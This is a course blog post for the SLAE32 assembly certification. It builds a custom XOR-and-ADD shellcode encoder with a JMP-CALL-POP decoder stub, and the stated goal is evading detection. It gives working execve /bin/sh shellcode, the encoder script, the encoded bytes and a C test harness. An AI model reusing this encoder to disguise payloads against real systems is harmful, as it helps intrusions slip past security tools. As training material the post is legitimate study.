Post

SLAE32 - Assignment #4 - Custom Encoder

Introduction

This is the blog post for the 4th Assignment of the SLAE32 course, which is offered by PentesterAcademy. The course focuses on teaching the basics of 32-bit Assembly language for the Intel Architecture (IA-32) family of processors on the Linux platform.

The purpose of this assignment is to create a custom encoder (encrypter), which obfuscates the shellcode in order to evade detection. The following operations were used: XOR each byte with a static key and ADD a constant number.

My code can be found in my Github: geobour98’s Github.

Encryption

The first thing we want to do is to extract the shellcode from a program that is going to be encrypted. The following Assembly program from the course materials calls execve syscall, which is used to execute a program, on the executable “/bin/sh”.

The whole Assembly program is the following:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
; Filename: execve-stack.nasm
; Author:  Vivek Ramachandran
; Website:  http://securitytube.net
; Training: http://securitytube-training.com 
;
;
; Purpose: 

global _start			

section .text
_start:

	; PUSH the first null dword 
	xor eax, eax
	push eax

	; PUSH //bin/sh (8 bytes) 
	
	push 0x68732f2f
	
	push 0x6e69622f

	mov ebx, esp

	push eax
	mov edx, esp

	push ebx
	mov ecx, esp

	mov al, 11
	int 0x80

In order to extract the shellcode, we first have to compile the Assembly code. This process consists of assembling and linking, which are described in previous blog posts. So we will use the bash script compile.sh again.

1
2
3
4
geobour98@slae32-dev:~/SLAE/custom/SLAE32/4_Custom_encoder$ ./compile execve-stack
[+] Assembling with Nasm ... 
[+] Linking ...
[+] Done!

Now, in order to actually extract the shellcode from the execve-stack executable we use the objdump one-liner, which displays information from object files as described previously:

1
2
geobour98@slae32-dev:~/SLAE/custom/SLAE32/4_Custom_encoder$ objdump -d ./execve-stack | grep '[0-9a-f]:' | grep -v 'file'|cut -f2 -d: | cut -f1-6 -d' ' | tr -s ' ' | tr '\t' ' ' | sed 's/ $//g' | sed 's/ /\\x/g' | paste -d '' -s | sed 's/^/"/' | sed 's/$/"/g'
"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80"

After that, paste the extracted shellcode at the shellcode variable of the python script xor-add-encoder.py, which performs XOR operation on each byte of the shellcode with the static key 0xAA and then adds a constant number, which in our case is 1. It should be noted that the key of XOR must not exist inside the shellcode, because it will lead to a nullbyte (0x00).

The whole Python script is the following:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
#!/usr/bin/python

shellcode = ("\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80")

encoded = ""
encoded2 = ""

add_value = 1

print 'XOR - ADD Encoded shellcode: \n'

for x in bytearray(shellcode):
	# XOR encoding
	y = (x ^ 0xAA) + add_value

	encoded += '\\x'
	encoded += '%02x' % y

	encoded2 += '0x'
	encoded2 += '%02x,' % y

print encoded

print encoded2

print 'Shellcode Length: %d\n' % len(bytearray(shellcode))

Then we execute the script and get the encrypted shellcode.

1
2
3
4
5
6
geobour98@slae32-dev:~/SLAE/custom/SLAE32/4_Custom_encoder$ ./xor-add-encoder.py 
XOR - ADD Encoded shellcode: 

\x9c\x6b\xfb\xc3\x86\x86\xda\xc3\xc3\x86\xc9\xc4\xc5\x24\x4a\xfb\x24\x49\xfa\x24\x4c\x1b\xa2\x68\x2b
0x9c,0x6b,0xfb,0xc3,0x86,0x86,0xda,0xc3,0xc3,0x86,0xc9,0xc4,0xc5,0x24,0x4a,0xfb,0x24,0x49,0xfa,0x24,0x4c,0x1b,0xa2,0x68,0x2b,
Shellcode Length: 25

Then, we copy the shellcode in NASM format (0x) and we will paste it in the Assembly program (xor-decoder-marker.nasm) for decryption.

Decryption

The technique that is used to decrypt and execute the shellcode is called JMP-CALL-POP. We basically jump to a procedure that performs a call instruction on another procedure and this inctruction also pushes the address of the next instruction to the stack, which is the shellcode address. Then the decode procedure is repeated until all the bytes of the shellcode are decrypted and the shellcode can now get executed, meaning “/bin/sh” gets executed. In the following explanation, the program is explained through its flow.

With the following instruction we make a short jump to the call_decoder procedure:

1
	jmp short call_decoder	; jump short to call_decoder procedure

The call_decoder procedure is declared and the first instruction calls the decoder procedure and pushes the memory address of the next instruction to the stack, which is the shellcode. Then, the encrypted bytes of the shellcode are initialized inside another procedure called Shellcode. It’s important to note that we add another byte to the encrypted shellcode from the Python script because even when we don’t know the length of the shellcode, it will be calculated dynamically. This happens because the last byte that we add is the same as the XOR key and when the operation happens it will result to a nullbyte. That’s where the shellcode stops. In our case the value 1 is added to each byte and in order to retrieve the initial value, 1 has to be subtracted from the byte. So, the XOR key is 0xaa and in Shellcode we put 0xab.

1
2
3
4
call_decoder:

	call decoder
	Shellcode: db 0x9c,0x6b,0xfb,0xc3,0x86,0x86,0xda,0xc3,0xc3,0x86,0xc9,0xc4,0xc5,0x24,0x4a,0xfb,0x24,0x49,0xfa,0x24,0x4c,0x1b,0xa2,0x68,0x2b,0xab				; encrypted shellcode with 0xab at the end (key + 1)

Then we go to the decoder procedure, where the memory address of shellcode is saved at ESI register.

1
2
decoder: 
	pop esi			; pop memory address pointing at shellcode from the stack

After that, there is the decode procedure. We first subtract 1 from the value of the ESI register, so each byte can be XORed with the key and result to the initial value. Then, the actual XOR happens between the new value of the ESI register and the static key 0xAA. The next conditional jump checks if the result from the previous XOR operation is 0, meaning the last byte of the shellcode got decrypted. If so, the shellcode gets executed. Otherwise, ESI is incremented by 1 to go to the next byte. Finally, the next byte gets decrypted by a short jump at decode.

1
2
3
4
5
6
7
decode:
	sub byte [esi], 0x1	; subtract 1 out of each byte
	xor byte [esi], 0xAA	; xor the subtracted value with the key to retrieve initial value
	jz Shellcode		; jump if 0 (when the shellcode is decrypted)
	inc esi			; increment esi to go to next byte

	jmp short decode	; jump short to decode procedure to continue decrypting

The whole Assembly program is the following:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
global _start			

section .text
_start:

	jmp short call_decoder	; jump short to call_decoder procedure

decoder: 
	pop esi			; pop memory address pointing at shellcode from the stack

decode:
	sub byte [esi], 0x1	; subtract 1 out of each byte
	xor byte [esi], 0xAA	; xor the subtracted value with the key to retrieve initial value
	jz Shellcode		; jump if 0 (when the shellcode is decrypted)
	inc esi			; increment esi to go to next byte

	jmp short decode	; jump short to decode procedure to continue decrypting

call_decoder:

	call decoder
	Shellcode: db 0x9c,0x6b,0xfb,0xc3,0x86,0x86,0xda,0xc3,0xc3,0x86,0xc9,0xc4,0xc5,0x24,0x4a,0xfb,0x24,0x49,0xfa,0x24,0x4c,0x1b,0xa2,0x68,0x2b,0xab				; encrypted shellcode with 0xab at the end (key + 1)

Compilation and Testing

Now we need to compile xor-decoder-marker.nasm with the bash script compile.sh and extract the shellcode from the generated executable with the objdump one-liner.

1
2
3
4
geobour98@slae32-dev:~/SLAE/custom/SLAE32/4_Custom_encoder$ ./compile.sh xor-decoder-marker
[+] Assembling with Nasm ...
[+] Linking ...
[+] Done!
1
2
geobour98@slae32-dev:~/SLAE/custom/SLAE32/4_Custom_encoder$ objdump -d ./xor-decoder-marker | grep '[0-9a-f]:' | grep -v 'file'|cut -f2 -d: | cut -f1-6 -d' ' | tr -s ' ' | tr '\t' ' ' | sed 's/ $//g' | sed 's/ /\\x/g' | paste -d '' -s | sed 's/^/"/' | sed 's/$/"/g'
"\xeb\x0c\x5e\x80\x2e\x01\x80\x36\xaa\x74\x08\x46\xeb\xf5\xe8\xef\xff\xff\xff\x9c\x6b\xfb\xc3\x86\x86\xda\xc3\xc3\x86\xc9\xc4\xc5\x24\x4a\xfb\x24\x49\xfa\x24\x4c\x1b\xa2\x68\x2b\xab"

After that, we modify the C program with the shellcode from objdump, which was provided in the course materials and checks if a shellcode is working.

The whole C program is the following:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
#include<stdio.h>
#include<string.h>

unsigned char code[] = \
"\xeb\x0c\x5e\x80\x2e\x01\x80\x36\xaa\x74\x08\x46\xeb\xf5\xe8\xef\xff\xff\xff\x9c\x6b\xfb\xc3\x86\x86\xda\xc3\xc3\x86\xc9\xc4\xc5\x24\x4a\xfb\x24\x49\xfa\x24\x4c\x1b\xa2\x68\x2b\xab";

main()
{

	printf("Shellcode Length:  %d\n", strlen(code));

	int (*ret)() = (int(*)())code;

	ret();

}

Now we need to compile the C program, by disabling the stack protection as well as making the stack executable:

1
geobour98@slae32-dev:~/SLAE/custom/SLAE32/4_Custom_encoder$ gcc -fno-stack-protector -z execstack shellcode.c -o shellcode

We test it by just executing shellcode.

1
2
3
4
5
6
7
8
geobour98@slae32-dev:~/SLAE/custom/SLAE32/4_Custom_encoder$ ./shellcode 
Shellcode Length:  45
$ id
uid=1000(geobour98) gid=1000(geobour98) groups=1000(geobour98),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),113(lpadmin),128(sambashare)
$ ls
compile.sh    execve-stack.nasm  shellcode    xor-add-encoder.py  xor-decoder-marker.nasm
execve-stack  execve-stack.o	 shellcode.c  xor-decoder-marker  xor-decoder-marker.o
$ exit

Summary

Both the encoder and decoder (encrypter/decrypter) work and we can successfully decrypt the shellcode at runtime and execute it to get a “/bin/sh” shell.

Next will be the Analysis of shellcode samples generated by msfvenom (msfpayload)!

SLAE32 Blog Post

This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification:

https://www.pentesteracademy.com/course?id=3

http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert/

Student ID: PA-36167

This post is licensed under CC BY 4.0 by the author.